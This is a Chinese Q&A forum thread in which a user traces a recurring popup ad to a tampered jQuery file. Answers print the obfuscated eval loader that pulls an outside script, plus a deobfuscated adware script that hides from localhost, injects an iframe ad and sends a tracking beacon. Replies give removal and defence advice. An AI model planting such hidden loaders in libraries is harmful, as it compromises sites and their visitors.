源代码里被人写了一段代码... 然后 chrome 的 Console中 会有这个提示:A Parser-blocking, cross site (i.e. different eTLD+1) script, https://banquan.b0.upaiyun.com/copy.js, is invoked via document.write. This MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message.See https://www.chromestatus.com/feature/5718547946799104 for more details.
被写入的代码是,让网页左下角一直有个弹窗.... 就是小窗口一样的,可以关,但每一次打开都会有。
源文件的结构是
删了 jquery-2.1.1.min.js 后就没了, 判断出应该是加在这里
在index.html 末尾加入 window.onload = function(){}
后也会消失
查过说是 跨域 什么什么的, 基础还不好,所以不是很明白什么意思,仍然找不出来。
不知道通过什么方式实现的,希望有人能讲讲如何实现 js跨域然后又藏的一般人找不出来....
我觉得这问题很严重.....
还有点那啥...
深感自己的不足
希望有人能解答一下....
不好意思,我有一点没说清楚, 我这是在本地的,没有传上服务器,我把网关掉后、清空cookie就不会有了,联网后才有。
(本地的文件应该不会被劫持什么的吧...)
(应该是源代码里有一段是调用了其他网站的js文件,然后他又做了手脚...我这样没啥经验的就找不出来了..)
=== 3.16 ====
先谢谢各位的回答
修改jquery-2.1.1.min.js
的文件名后就没有那个弹窗了, 不过他写在源码里的东西还在, 现在就是想请教一下 实现这类操作的方法是什么? 我想学习后从根本上解决它...
=== 4个小时后.... ====
改文件名没用..... 是我测试的时候太匆忙了..... 很尴尬....
==== 3.18 ====
根据小明的回答...
搜索了关键词upaiyun
就找到了一段
`eval(function(p, a, c, k, e, r) {
e = function(c) {
return c.toString(a)
};
if (!''.replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [function(e) {
return r[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--)
if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p
}('2.7("<0 3=\'4/5\' 6=\'1://8.9.a.b/c.d\'>\\e/0>");', 15, 15, 'script|https|document|type|text|javascript|src|writeln|banquan|b0|upaiyun|com|copy|js|x3c'.split('|'), 0, {}));`
删除后广告也消失了(console也没报错...应该是单纯的广告代码吧...)
虽然看不懂,不过已经可以研究了
再次感谢诸位的回答,谢谢
PHP中文网2017-04-11 12:44:57
先讲结论(信息不足,只能猜测):最大的可能是这个jquery-2.1.1.min.js
文件被篡改,在原版的基础上加入了类似
document.write('<script type="text/javascript" src="..."><\/script>');
的语句,将https://banquan.b0.upaiyun.com/copy.js
加载到你的页面中。
最直接的解决方案是另外下载一个jQuery。感兴趣的话也可以下载一个jQuery 2.1.1 min文件与现有的文件做对比,找到具体是怎么注入的。
然后简单剖析一下这个注入的文件https://banquan.b0.upaiyun.com/copy.js
这个文件首先做了一个挑衅(或者是注入的标记):
var urkill = true;
然后是一段混淆的代码,解析后是这个样子:
var meta = window.document.getElementsByTagName("meta")
, urcp_desc = "";
for (i in meta)
"undefined" != typeof meta[i].name && "urkeji.com" == meta[i].name.toLowerCase() && (urcp_desc = meta[i].content);
var dqurl = window.location.host;
dqdomain = dqurl.replace(/www./, "");
var b64pad = ""
, chrsz = 8;
function ur_safe(b) {
return binb2b64(core_sha1(str2binb(b), b.length * chrsz))
}
function core_sha1(b, a) {
b[a >> 5] |= 128 << 24 - a % 32;
b[(a + 64 >> 9 << 4) + 15] = a;
a = Array(80);
for (var c = 1732584193, d = -271733879, e = -1732584194, g = 271733878, h = -1009589776, k = 0; k < b.length; k += 16) {
for (var l = c, m = d, n = e, p = g, q = h, f = 0; 80 > f; f++) {
a[f] = 16 > f ? b[k + f] : rol(a[f - 3] ^ a[f - 8] ^ a[f - 14] ^ a[f - 16], 1);
var r = safe_add(safe_add(rol(c, 5), sha1_ft(f, d, e, g)), safe_add(safe_add(h, a[f]), sha1_kt(f)))
, h = g
, g = e
, e = rol(d, 30)
, d = c
, c = r
}
c = safe_add(c, l);
d = safe_add(d, m);
e = safe_add(e, n);
g = safe_add(g, p);
h = safe_add(h, q)
}
return [c, d, e, g, h]
}
function sha1_ft(b, a, c, d) {
return 20 > b ? a & c | ~a & d : 40 > b ? a ^ c ^ d : 60 > b ? a & c | a & d | c & d : a ^ c ^ d
}
function sha1_kt(b) {
return 20 > b ? 1518500249 : 40 > b ? 1859775393 : 60 > b ? -1894007588 : -899497514
}
function safe_add(b, a) {
var c = (b & 65535) + (a & 65535);
return (b >> 16) + (a >> 16) + (c >> 16) << 16 | c & 65535
}
function rol(b, a) {
return b << a | b >>> 32 - a
}
function str2binb(b) {
for (var a = [], c = (1 << chrsz) - 1, d = 0; d < b.length * chrsz; d += chrsz)
a[d >> 5] |= (b.charCodeAt(d / chrsz) & c) << 24 - d % 32;
return a
}
function binb2str(b) {
for (var a = "", c = (1 << chrsz) - 1, d = 0; d < 32 * b.length; d += chrsz)
a += String.fromCharCode(b[d >> 5] >>> 24 - d % 32 & c);
return a
}
function binb2b64(b) {
for (var a = "", c = 0; c < 4 * b.length; c += 3)
for (var d = (b[c >> 2] >> 8 * (3 - c % 4) & 255) << 16 | (b[c + 1 >> 2] >> 8 * (3 - (c + 1) % 4) & 255) << 8 | b[c + 2 >> 2] >> 8 * (3 - (c + 2) % 4) & 255, e = 0; 4 > e; e++)
a = 8 * c + 6 * e > 32 * b.length ? a + b64pad : a + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(d >> 6 * (3 - e) & 63);
return a
}
ur_safe(dqdomain) == urcp_desc || "localhost" == dqurl || "127.0.0.1" == dqurl ? !function() {
var b = window.location.href;
if (!/([http|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi.test(b)) {
var a;
a = "https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif?r=" + encodeURIComponent("http://www.urkeji.com/");
b && (a += "&l=" + b);
(new Image).src = a
}
}(window) : window.onload = function() {
document.getElementsByTagName("body")[0].insertAdjacentHTML("afterBegin", '<p id="uradpop" style="display:block !important; border:solid 1px #666; border-radius:10px; position:fixed; width:360px !important; height:300px !important; bottom:5px !important; left:2px !important; z-index:2147483648; overflow:hidden;"><a href="javascript:void(0);" onclick="urdd()" style="position:absolute; top:5px; right:5px; z-index:2147483647; font-size:28px; font-weight:bold; color:#ff0000; text-decoration:none;">\u00d7</a><iframe src="http://www.urkeji.com/wenda/tui.html" scrolling="no" frameborder="0" style="width:360px; height:300px; margin:0;"></ifrasme></p>')
};
function urdd() {
document.getElementById("uradpop").style.display = "none"
};
主要分为两部分:一组SHA-1加密函数,以及一段DOM操作。基本逻辑是,如果当前页面不包含一个特殊的mega标签(content为SHA-1加密后的域名),则执行DOM操作,显示一个弹窗,内容包括iframe包裹的http://www.urkeji.com/wenda/tui.html
。
而这段DOM操作是放在window.onload
里的,因而会被你在index.html末尾另加的一个window.onload
覆盖,从而阻止DOM操作。
据此推断,www.urkeji.com就是这段代码的罪魁祸首。
案情回顾:
urkeji.com 是帮助客户做网站的,小本经营,不温不火。为了加大宣传,想出了这么个主意:在jQuery文件中加入显示小广告的脚本,上传到各大网站与正规的jQuery混到一起。为了使自己的客户不受影响,改公司制作的网站都利用加密后的域名制作了一个特定的<mega>标签阻止小广告。同时在localhost上也阻止了小广告,以防被开发人员发现。。。
用心也算良苦了,就是做法太流氓。
伊谢尔伦2017-04-11 12:44:57
你的网站被黑了
你也说了 删除掉jquery就可以解决了
一般情况下有两个解决方法:
1、删除掉jquery恶意代码
2、重新下载jquery文件进行上传
几乎就可以解决你的问题了
阿神2017-04-11 12:44:57
网站配置https, http默认跳转https
一般都不是自己网站服务器代码有问题, 而是dns劫持之类的中途注入进去的. 像移动的那些广告一样.
配置https内容就修改不了了
伊谢尔伦2017-04-11 12:44:57
如果是网站被黑的话,难道不是 git diff 一下,或者重新装系统部署一下就搞定了嘛……
不过小窗,特别是小窗是本地广告的时候,是运营商在搞鬼。
防范的话,HTTPS + CSP + SRI 应该就比较安全了(当然你的服务器也要足够安全)。
阿神2017-04-11 12:44:57
有可能是流量劫持,往特定js里面写入广告代码再发给用户。
比较一劳永逸的是用https
其他的话比较简单的可以用DOMNodeInserted来监控dom插入事件,然后匹配src非本网站的给remove掉。